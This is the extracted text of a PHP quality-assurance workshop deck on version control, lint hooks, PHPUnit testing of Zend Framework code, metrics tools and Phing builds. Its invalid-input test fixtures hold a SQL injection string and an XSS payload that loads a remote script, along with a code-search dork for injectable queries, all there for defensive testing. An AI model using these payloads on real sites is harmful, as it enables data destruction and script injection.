Upload
michelangelo-van-dam
View
114
Download
0
Embed Size (px)
DESCRIPTION
Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.
Citation preview
Quality Assurancefor PHP projects
PHP community Belfast, Northern Ireland
Michelangelo van Dam
Thank you for having us
Schedule Workshop
Introduction to Quality AssuranceRevision control
DocumentingTesting
MeasuringAutomatingTeam works!
#phpqa
Introduction to QA
Why QA?
Why QA
Safeguarding code
Detect bugs early
Observe behavior
Prevent accidents from happening
Tracking progress
Why invest in QA?
Keeps your code in shape
Measures speed and performance
Boosts team spirit
Saves time
Reports continuously
Delivers ready to deploy packages
Quality Assurance Tools
Revision Control
Subversion
GIT
GitHub
Bitbucket
Mercurial
Bazaar
FTP
Advantages of SCM
• team development possible• tracking multi-versions of source code• moving back and forth in history• tagging of milestones• backup of source code• accessible from- command line- native apps- IDE’s- analytical tools
TIP: hooks for tools
GIT Workflow
GIT-SCM
• Distributed SCM- everyone has a “master” repository• Works with public and private repositories- private: work in progress- public: finished work• Requires hierarchies to manage
Integration
DeveloperPrivate
DeveloperPrivate
DeveloperPrivate
IntegrationManager
DeveloperPublic
DeveloperPublic
DeveloperPublic
BlessedRepo
Branching
Commit smallCommit often
SCM Branching
Master
Project
Feature
Task/Issue
Real world branching
More on GIT
• GIT book: http://git-scm.com/book/en
• GIT tutorial:http://try.github.io
• GIT branching tutorial: http://pcottle.github.io/learnGitBranching/
• GIT Flow: http://nvie.com/posts/a-successful-git-branching-model/
• Github flow: http://scottchacon.com/2011/08/31/github-flow.html
Recommended Reading
Syntax Checking
php -‐l (lint)
h=p://www.php.net/manual/en/features.commandline.opEons.php
PHP Lint
• checks the syntax of code• build in PHP core• is used per file- pre-commit hook for version control system- batch processing of files• can provide reports- but if something fails -> the build fails
TIP: pre-‐commit hook
Syntax
php -lf /path/to/filename.php
PHP Lint on Command Line
SVN Pre commit hook#!/bin/sh## Pre-commit hook to validate syntax of incoming PHP files, if no failures it# accepts the commit, otherwise it fails and blocks the commit
REPOS="$1"TXN="$2"
# modify these system executables to match your systemPHP=/usr/bin/phpAWK=/usr/bin/awkGREP=/bin/grepSVNLOOK=/usr/bin/svnlook
# PHP Syntax checking with PHP Lint# originally from Joe Stump at Digg# https://gist.github.com/53225#for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'`do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fidone
SVN pre-‐commit hook
Documenting
Why documenting?
• new members in the team• working with remote workers• analyzing improvements• think before doing• used by IDE’s and editors for code hinting ;-)
PHPDoc2
phpDocumentor + DocBlox
March 16, 2012
Phpdoc2
Phpdoc2 class details
Based on docblocks in code
And the output
Phpdoc2 class relaEon chart
Phpdoc2 on your project
Testing
unit testing 201:start testing!
Any reasons not to test?
Most common excuses
• no time• not within budget• development team does not know how• tests are provided after delivery• …
No excuses!
Maintainability
• during development- test will fail indicating bugs• after sales support- testing if an issue is genuine- fixing issues won’t break code base❖ if they do, you need to fix it!• long term projects- refactoring made easy
Remember
“Once a test is made, it will always be tested!”
Feel like on top of the world!
Confidence
• for the developer- code works• for the manager- project succeeds• for sales / general management / share holders- making profit• for the customer- paying for what they want
Everybody! likes this.
Don’t end up on this list!
extension:php mysql_query $_GET
Unit testing ZF apps
Setting things up
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite>
<filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>
</phpunit>
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);
require_once 'Zend/Application.php';$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
Zend_Tool since 1.11.4
• provides• phpunit.xml• bootstrap.php• IndexControllerTest.php
Ralph Schindler
Let’s get started…
Testing Zend_Form
CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }
}
The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data));}
Protection!
Protection
In the news…
Is this YOU?!?
The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data));}
Create the form class<?php
class Application_Form_CommentForm extends Zend_Form{
public function init() { /* Form Elements & Other Definitions Here ... */ }
}
Let’s run the test
Let’s put in our elements<?php
class Application_Form_CommentForm extends Zend_Form{
public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); }
}
Less errors?
Filter - Validate$this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))),));
Green, warm & fuzzy
You’re a winner!
☑ quality code☑ tested☑ secure☑ reusable
Testing models
Testing business logic
• models contain logic- tied to your business- tied to your storage- tied to your resources• no “one size fits all” solution
Type: data containers
• contains structured data- populated through setters and getters• perform logic tied to it’s purpose- transforming data- filtering data- validating data• can convert into other data types- arrays- strings (JSON, serialized, xml, …)• are providers to other models
Comment Class
Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
This test won’t run!
Create a simple model<?php
class Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); }}
We pass the test…
Really ???
Not all data from user input!
• model can be populated from- users through the form- data stored in the database- a webservice (hosted by us or others)• simply test it- by using same test scenario’s from our form
ALL DATA IS TAINTED!
The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data);}
The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
Let’s run it
Modify our modelprotected $_filters;protected $_validators;
public function __construct($params = null){ $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this;}
public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this;}
Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this;}
public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this;}
and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this;}
Now we’re good!
Testing Databases
Integration Testing
• database specific functionality- triggers- constraints- stored procedures- sharding/scalability• data input/output- correct encoding of data- transactions execution and rollback
Points of concern
• beware of automated data types- auto increment sequence ID’s- default values like CURRENT_TIMESTAMP• beware of time related issues- timestamp vs. datetime- UTC vs. local time
The domain Model
• Model object• Mapper object• Table gateway object
Read more about it ☞
Change our test class
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing upprotected $_connectionMock;
public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; }}
public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));}
initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs);}
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
Run Test
Testing web services
Web services remarks
• you need to comply with an API- that will be your reference• you cannot always make a test-call- paid services per call- test environment is “offline”- network related issues
Example: joind.in
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}
Testing the service
Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>
I recently logged in ✔
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>
Latency of the network 1s !
Solution… right here!
Your expectations
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml
<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml
<?xml version="1.0"?><response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string></response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{
public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); }}
Testing if form is on pagepublic function testIndexAction(){ $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1);}
Test processingpublic function testProcessAction(){ $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']);}
REMARK
• data providers can be used- to test valid data- to test invalid data• but we know it’s taken care of our model- just checking for error messages in form
Test if we hit homepublic function testSuccessAction(){ $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/');}
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
Fork this code
http://github.com/DragonBe/zftest
Measuring
Code Analysis
Questions
• how stable is my code?• how flexible is my code?• how complex is my code?• how easy can I refactor my code?
Answers
• PHPDepend - Dependency calculations• PHPMD - Mess detections and code “smells”• PHPCPD - Copy/paste detection• PHPCS - PHP_CodeSniffer
PHP Depend
What?
• generates metrics• measure health• identify parts to improve (refactor)
pdepend pyramid
• CYCLO: Cyclomatic Complexity• LOC: Lines of Code• NOM: Number of Methods• NOC: Number of Classes• NOP: Number of Packages• AHH: Average Hierarchy Height• ANDC: Average Number of Derived Classes
• FANOUT: Number of Called Classes• CALLS: Number of Operation Calls
Cyclomatic Complexity
• metric calculation• execution paths• independent control structures- if, else, for, foreach, switch case, while, do, …• within a single method or function• more info- http://en.wikipedia.org/wiki/
Cyclomatic_complexity
Average Hierarchy Height
The average of the maximum length from a root class to its deepest subclass
pdepend pyramid
Inheritance
few classes derived from other classes
lots of classes inherit from other classes
pdepend pyramid
Size and complexity
pdepend pyramid
Coupling
pdepend pyramid
High value
pdepend-graph
graph about stability: a mix between abstract and concrete classes
PHP Depend
PHP Mess Detection
What?
• detects code smells- possible bugs- sub-optimal code- over complicated expressions- unused parameters, methods and properties- wrongly named parameters, methods or properties
PHPMD in acEon
PHP Copy/Paste Detection
What?
• detects similar code snippets- plain copy/paste work- similar code routines• indicates problems- maintenance hell- downward spiral of disasters• stimulates improvements- refactoring of code- moving similar code snippets in common routines
PHP CodeSniffer
Required evil
• validates coding standards- consistency- readability• set as a policy for development• reports failures to meet the standard- sometimes good: parentheses on wrong line- mostly bad: line exceeds 80 characters❖ but needed for terminal viewing of code• can be set as pre-commit hook- but can cause frustration!!!
Performance Analysis
https://twitter.com/#!/andriesss/status/189712045766225920
Automating
Key reason
“computers are great at doing repetitive tasks very well”
Repetition
• syntax checking• documenting• testing• measuring
Why Phing?
• php based (it’s already on our system)• open-source• supported by many tools• very simple syntax• great documentation
Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">
<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">
<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
Structure of a build
<project name="Application build" default="phplint">
<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">
<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
Structure of a build
<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />
<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">
<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
Structure of a build
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">
<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
Structure of a build
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>
<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">
